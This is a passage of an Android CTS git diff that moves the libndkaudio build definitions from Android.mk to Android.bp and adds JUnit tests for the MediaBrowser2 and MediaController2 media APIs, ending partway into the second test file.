+ "com_android_ndkaudio_AudioPlayer.cpp",
+ "AudioRecorder.cpp",
+ "com_android_ndkaudio_AudioRecorder.cpp",
+ ],
+ stl: "libc++_static",
+ shared_libs: [
+ "liblog",
+ "libOpenSLES",
+ ],
+ cflags: [
+ "-Werror",
+ "-Wall",
+ ],
+ gtest: false,
+}
+
+//
+// ndkaudio - java
+//
+java_library {
+ name: "ndkaudio",
+ srcs: ["**/*.java"],
+ sdk_version: "current",
+ min_sdk_version: "23",
+}
diff --git a/tests/tests/media/libndkaudio/Android.mk b/tests/tests/media/libndkaudio/Android.mk
deleted file mode 100644
index 9480dcd..0000000
--- a/tests/tests/media/libndkaudio/Android.mk
+++ /dev/null
@@ -1,62 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libndkaudioLib
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_C_INCLUDES := \
- frameworks/wilhelm/include \
- frameworks/wilhelm/src/android \
- $(call include-path-for, wilhelm)
-
-LOCAL_SRC_FILES := \
- OpenSLESUtils.cpp \
- AudioPlayer.cpp \
- AudioSource.cpp \
- PeriodicAudioSource.cpp \
- SystemParams.cpp \
- WaveTableGenerator.cpp \
- WaveTableOscillator.cpp \
- com_android_ndkaudio_AudioPlayer.cpp \
- AudioRecorder.cpp \
- com_android_ndkaudio_AudioRecorder.cpp
-
-LOCAL_CXX_STL := libc++
-
-LOCAL_SHARED_LIBRARIES := liblog libOpenSLES
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_SHARED_LIBRARY)
-
-#
-# ndkaudio - java
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := ndkaudio
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-LOCAL_CERTIFICATE := platform
-
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 23
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
new file mode 100644
index 0000000..9ced5b1
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
@@ -0,0 +1,672 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.cts.MockMediaLibraryService2.EXTRAS;
+import static android.media.cts.MockMediaLibraryService2.ROOT_ID;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.annotation.Nullable;
+import android.content.Context;
+import android.media.MediaBrowser2;
+import android.media.MediaBrowser2.BrowserCallback;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2.MediaLibrarySession;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaBrowser2}.
+ * <p>
+ * This test inherits {@link MediaController2Test} to ensure that inherited APIs from
+ * {@link MediaController2} works cleanly.
+ */
+// TODO(jaewan): Implement host-side test so browser and service can run in different processes.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaBrowser2Test extends MediaController2Test {
+ private static final String TAG = "MediaBrowser2Test";
+
+ @Override
+ TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+ @Nullable ControllerCallback callback) {
+ if (callback == null) {
+ callback = new BrowserCallback() {};
+ }
+ return new TestMediaBrowser(mContext, token, new TestBrowserCallback(callback));
+ }
+
+ /**
+ * Test if the {@link TestBrowserCallback} wraps the callback proxy without missing any method.
+ */
+ @Test
+ public void testTestBrowserCallback() {
+ Method[] methods = TestBrowserCallback.class.getMethods();
+ assertNotNull(methods);
+ for (int i = 0; i < methods.length; i++) {
+ // For any methods in the controller callback, TestControllerCallback should have
+ // overriden the method and call matching API in the callback proxy.
+ assertNotEquals("TestBrowserCallback should override " + methods[i]
+ + " and call callback proxy",
+ BrowserCallback.class, methods[i].getDeclaringClass());
+ }
+ }
+
+ @Test
+ public void testGetLibraryRoot() throws InterruptedException {
+ final Bundle param = new Bundle();
+ param.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetLibraryRootDone(MediaBrowser2 browser,
+ Bundle rootHints, String rootMediaId, Bundle rootExtra) {
+ assertTrue(TestUtils.equals(param, rootHints));
+ assertEquals(ROOT_ID, rootMediaId);
+ assertTrue(TestUtils.equals(EXTRAS, rootExtra));
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser =
+ (MediaBrowser2) createController(token,true, callback);
+ browser.getLibraryRoot(param);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetItem() throws InterruptedException {
+ final String mediaId = MockMediaLibraryService2.MEDIA_ID_GET_ITEM;
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+ assertEquals(mediaId, mediaIdOut);
+ assertNotNull(result);
+ assertEquals(mediaId, result.getMediaId());
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getItem(mediaId);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetItemNullResult() throws InterruptedException {
+ final String mediaId = "random_media_id";
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+ assertEquals(mediaId, mediaIdOut);
+ assertNull(result);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getItem(mediaId);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetChildren() throws InterruptedException {
+ final String parentId = MockMediaLibraryService2.PARENT_ID;
+ final int page = 4;
+ final int pageSize = 10;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut, int pageOut,
+ int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertEquals(parentId, parentIdOut);
+ assertEquals(page, pageOut);
+ assertEquals(pageSize, pageSizeOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertNotNull(result);
+
+ int fromIndex = (page - 1) * pageSize;
+ int toIndex = Math.min(page * pageSize, MockMediaLibraryService2.CHILDREN_COUNT);
+
+ // Compare the given results with originals.
+ for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+ int relativeIndex = originalIndex - fromIndex;
+ Assert.assertEquals(
+ MockMediaLibraryService2.GET_CHILDREN_RESULT.get(originalIndex)
+ .getMediaId(),
+ result.get(relativeIndex).getMediaId());
+ }
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getChildren(parentId, page, pageSize, extras);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetChildrenEmptyResult() throws InterruptedException {
+ final String parentId = MockMediaLibraryService2.PARENT_ID_NO_CHILDREN;
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+ int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertNotNull(result);
+ assertEquals(0, result.size());
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getChildren(parentId, 1, 1, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testGetChildrenNullResult() throws InterruptedException {
+ final String parentId = MockMediaLibraryService2.PARENT_ID_ERROR;
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+ int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertNull(result);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.getChildren(parentId, 1, 1, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Ignore
+ @Test
+ public void testSearch() throws InterruptedException {
+ final String query = MockMediaLibraryService2.SEARCH_QUERY;
+ final int page = 4;
+ final int pageSize = 10;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latchForSearch = new CountDownLatch(1);
+ final CountDownLatch latchForGetSearchResult = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onSearchResultChanged(MediaBrowser2 browser,
+ String queryOut, int itemCount, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+ latchForSearch.countDown();
+ }
+
+ @Override
+ public void onGetSearchResultDone(MediaBrowser2 browser, String queryOut,
+ int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertEquals(page, pageOut);
+ assertEquals(pageSize, pageSizeOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertNotNull(result);
+
+ int fromIndex = (page - 1) * pageSize;
+ int toIndex = Math.min(
+ page * pageSize, MockMediaLibraryService2.SEARCH_RESULT_COUNT);
+
+ // Compare the given results with originals.
+ for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+ int relativeIndex = originalIndex - fromIndex;
+ Assert.assertEquals(
+ MockMediaLibraryService2.SEARCH_RESULT.get(originalIndex).getMediaId(),
+ result.get(relativeIndex).getMediaId());
+ }
+ latchForGetSearchResult.countDown();
+ }
+ };
+
+ // Request the search.
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.search(query, extras);
+ assertTrue(latchForSearch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+ // Get the search result.
+ browser.getSearchResult(query, page, pageSize, extras);
+ assertTrue(latchForGetSearchResult.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSearchTakesTime() throws InterruptedException {
+ final String query = MockMediaLibraryService2.SEARCH_QUERY_TAKES_TIME;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onSearchResultChanged(
+ MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.search(query, extras);
+ assertTrue(latch.await(
+ MockMediaLibraryService2.SEARCH_TIME_IN_MS + WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSearchEmptyResult() throws InterruptedException {
+ final String query = MockMediaLibraryService2.SEARCH_QUERY_EMPTY_RESULT;
+ final Bundle extras = new Bundle();
+ extras.putString(TAG, TAG);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final BrowserCallback callback = new BrowserCallback() {
+ @Override
+ public void onSearchResultChanged(
+ MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+ assertEquals(query, queryOut);
+ assertTrue(TestUtils.equals(extras, extrasOut));
+ assertEquals(0, itemCount);
+ latch.countDown();
+ }
+ };
+
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+ browser.search(query, extras);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testSubscribe() throws InterruptedException {
+ final String testParentId = "testSubscribeId";
+ final Bundle testExtras = new Bundle();
+ testExtras.putString(testParentId, testParentId);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+ @Override
+ public void onSubscribe(@NonNull MediaLibrarySession session,
+ @NonNull ControllerInfo info, @NonNull String parentId,
+ @Nullable Bundle extras) {
+ if (Process.myUid() == info.getUid()) {
+ assertEquals(testParentId, parentId);
+ assertTrue(TestUtils.equals(testExtras, extras));
+ latch.countDown();
+ }
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(callback);
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token);
+ browser.subscribe(testParentId, testExtras);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Ignore
+ @Test
+ public void testUnsubscribe() throws InterruptedException {
+ final String testParentId = "testUnsubscribeId";
+ final CountDownLatch latch = new CountDownLatch(1);
+ final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+ @Override
+ public void onUnsubscribe(@NonNull MediaLibrarySession session,
+ @NonNull ControllerInfo info, @NonNull String parentId) {
+ if (Process.myUid() == info.getUid()) {
+ assertEquals(testParentId, parentId);
+ latch.countDown();
+ }
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(callback);
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ MediaBrowser2 browser = (MediaBrowser2) createController(token);
+ browser.unsubscribe(testParentId);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testBrowserCallback_notifyChildrenChanged() throws InterruptedException {
+ // TODO(jaewan): Add test for the notifyChildrenChanged itself.
+ final String testParentId1 = "testBrowserCallback_notifyChildrenChanged_unexpectedParent";
+ final String testParentId2 = "testBrowserCallback_notifyChildrenChanged";
+ final int testChildrenCount = 101;
+ final Bundle testExtras = new Bundle();
+ testExtras.putString(testParentId1, testParentId1);
+
+ final CountDownLatch latch = new CountDownLatch(3);
+ final MediaLibrarySessionCallback sessionCallback =
+ new MediaLibrarySessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+ @NonNull ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ assertTrue(session instanceof MediaLibrarySession);
+ if (mSession != null) {
+ mSession.close();
+ }
+ mSession = session;
+ // Shouldn't trigger onChildrenChanged() for the browser, because it
+ // hasn't subscribed.
+ ((MediaLibrarySession) session).notifyChildrenChanged(
+ testParentId1, testChildrenCount, null);
+ ((MediaLibrarySession) session).notifyChildrenChanged(
+ controller, testParentId1, testChildrenCount, null);
+ }
+ return super.onConnect(session, controller);
+ }
+
+ @Override
+ public void onSubscribe(@NonNull MediaLibrarySession session,
+ @NonNull ControllerInfo info, @NonNull String parentId,
+ @Nullable Bundle extras) {
+ if (Process.myUid() == info.getUid()) {
+ session.notifyChildrenChanged(testParentId2, testChildrenCount, null);
+ session.notifyChildrenChanged(info, testParentId2, testChildrenCount,
+ testExtras);
+ }
+ }
+ };
+ final BrowserCallback controllerCallbackProxy =
+ new BrowserCallback() {
+ @Override
+ public void onChildrenChanged(MediaBrowser2 browser, String parentId,
+ int itemCount, Bundle extras) {
+ switch ((int) latch.getCount()) {
+ case 3:
+ assertEquals(testParentId2, parentId);
+ assertEquals(testChildrenCount, itemCount);
+ assertNull(extras);
+ latch.countDown();
+ break;
+ case 2:
+ assertEquals(testParentId2, parentId);
+ assertEquals(testChildrenCount, itemCount);
+ assertTrue(TestUtils.equals(testExtras, extras));
+ latch.countDown();
+ break;
+ default:
+ // Unexpected call.
+ fail();
+ }
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+ final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+ final MediaBrowser2 browser = (MediaBrowser2) createController(
+ token, true, controllerCallbackProxy);
+ assertTrue(mSession instanceof MediaLibrarySession);
+ browser.subscribe(testParentId2, null);
+ // This ensures that onChildrenChanged() is only called for the expected reasons.
+ assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ public static class TestBrowserCallback extends BrowserCallback
+ implements WaitForConnectionInterface {
+ private final ControllerCallback mCallbackProxy;
+ public final CountDownLatch connectLatch = new CountDownLatch(1);
+ public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+ TestBrowserCallback(ControllerCallback callbackProxy) {
+ if (callbackProxy == null) {
+ throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+ }
+ mCallbackProxy = callbackProxy;
+ }
+
+ @CallSuper
+ @Override
+ public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+ connectLatch.countDown();
+ }
+
+ @CallSuper
+ @Override
+ public void onDisconnected(MediaController2 controller) {
+ disconnectLatch.countDown();
+ }
+
+ @Override
+ public void waitForConnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void waitForDisconnect(boolean expect) throws InterruptedException {
+ if (expect) {
+ assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void onPlaybackInfoChanged(MediaController2 controller,
+ MediaController2.PlaybackInfo info) {
+ mCallbackProxy.onPlaybackInfoChanged(controller, info);
+ }
+
+ @Override
+ public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+ Bundle args, ResultReceiver receiver) {
+ mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+ }
+
+ @Override
+ public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+ mCallbackProxy.onCustomLayoutChanged(controller, layout);
+ }
+
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commands) {
+ mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+ }
+
+ @Override
+ public void onPlayerStateChanged(MediaController2 controller, int state) {
+ mCallbackProxy.onPlayerStateChanged(controller, state);
+ }
+
+ @Override
+ public void onSeekCompleted(MediaController2 controller, long position) {
+ mCallbackProxy.onSeekCompleted(controller, position);
+ }
+
+ @Override
+ public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+ mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+ }
+
+ @Override
+ public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+ int state) {
+ mCallbackProxy.onBufferingStateChanged(controller, item, state);
+ }
+
+ @Override
+ public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+ mCallbackProxy.onError(controller, errorCode, extras);
+ }
+
+ @Override
+ public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+ mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+ }
+
+ @Override
+ public void onPlaylistChanged(MediaController2 controller,
+ List<MediaItem2> list, MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+ }
+
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+ }
+
+ @Override
+ public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+ mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+ }
+
+ @Override
+ public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+ mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+ }
+
+ @Override
+ public void onGetLibraryRootDone(MediaBrowser2 browser, Bundle rootHints,
+ String rootMediaId, Bundle rootExtra) {
+ super.onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+ }
+ }
+
+ @Override
+ public void onGetItemDone(MediaBrowser2 browser, String mediaId, MediaItem2 result) {
+ super.onGetItemDone(browser, mediaId, result);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy).onGetItemDone(browser, mediaId, result);
+ }
+ }
+
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentId, int page,
+ int pageSize, List<MediaItem2> result, Bundle extras) {
+ super.onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+ }
+ }
+
+ @Override
+ public void onSearchResultChanged(MediaBrowser2 browser, String query, int itemCount,
+ Bundle extras) {
+ super.onSearchResultChanged(browser, query, itemCount, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onSearchResultChanged(browser, query, itemCount, extras);
+ }
+ }
+
+ @Override
+ public void onGetSearchResultDone(MediaBrowser2 browser, String query, int page,
+ int pageSize, List<MediaItem2> result, Bundle extras) {
+ super.onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+ }
+ }
+
+ @Override
+ public void onChildrenChanged(MediaBrowser2 browser, String parentId, int itemCount,
+ Bundle extras) {
+ super.onChildrenChanged(browser, parentId, itemCount, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onChildrenChanged(browser, parentId, itemCount, extras);
+ }
+ }
+ }
+
+ public class TestMediaBrowser extends MediaBrowser2 implements TestControllerInterface {
+ private final BrowserCallback mCallback;
+
+ public TestMediaBrowser(@NonNull Context context, @NonNull SessionToken2 token,
+ @NonNull ControllerCallback callback) {
+ super(context, token, sHandlerExecutor, (BrowserCallback) callback);
+ mCallback = (BrowserCallback) callback;
+ }
+
+ @Override
+ public BrowserCallback getCallback() {
+ return mCallback;
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaController2Test.java b/tests/tests/media/src/android/media/cts/MediaController2Test.java
new file mode 100644
index 0000000..755801d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaController2Test.java
@@ -0,0 +1,1132 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.Rating2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.VolumeProvider2;
+import android.media.cts.TestServiceRegistry.SessionServiceCallback;
+import android.media.cts.TestUtils.SyncHandler;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Tests {@link MediaController2}.
+ */
+// TODO(jaewan): Implement host-side test so controller and session can run in different processes.
+// TODO(jaewan): Fix flaky failure -- see MediaController2Impl.getController()
+// TODO(jaeawn): Revisit create/close session in the sHandler. It's no longer necessary.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@FlakyTest
+@Ignore
+public class MediaController2Test extends MediaSession2TestBase {
+ private static final String TAG = "MediaController2Test";
+
+ PendingIntent mIntent;
+ MediaSession2 mSession;
+ MediaController2 mController;
+ MockPlayer mPlayer;
+ MockPlaylistAgent mMockAgent;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ final Intent sessionActivity = new Intent(mContext, MockActivity.class);
+ // Create this test specific MediaSession2 to use our own Handler.
+ mIntent = PendingIntent.getActivity(mContext, 0, sessionActivity, 0);
+
+ mPlayer = new MockPlayer(1);
+ mMockAgent = new MockPlaylistAgent();
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(mMockAgent)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ return super.onConnect(session, controller);
+ }
+ return null;
+ }
+
+ @Override
+ public void onPlaylistMetadataChanged(MediaSession2 session,
+ MediaPlaylistAgent playlistAgent,
+ MediaMetadata2 metadata) {
+ super.onPlaylistMetadataChanged(session, playlistAgent, metadata);
+ }
+ })
+ .setSessionActivity(mIntent)
+ .setId(TAG).build();
+ mController = createController(mSession.getToken());
+ TestServiceRegistry.getInstance().setHandler(sHandler);
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ if (mSession != null) {
+ mSession.close();
+ }
+ TestServiceRegistry.getInstance().cleanUp();
+ }
+
+ /**
+ * Test if the {@link MediaSession2TestBase.TestControllerCallback} wraps the callback proxy
+ * without missing any method.
+ */
+ @Test
+ public void testTestControllerCallback() {
+ Method[] methods = TestControllerCallback.class.getMethods();
+ assertNotNull(methods);
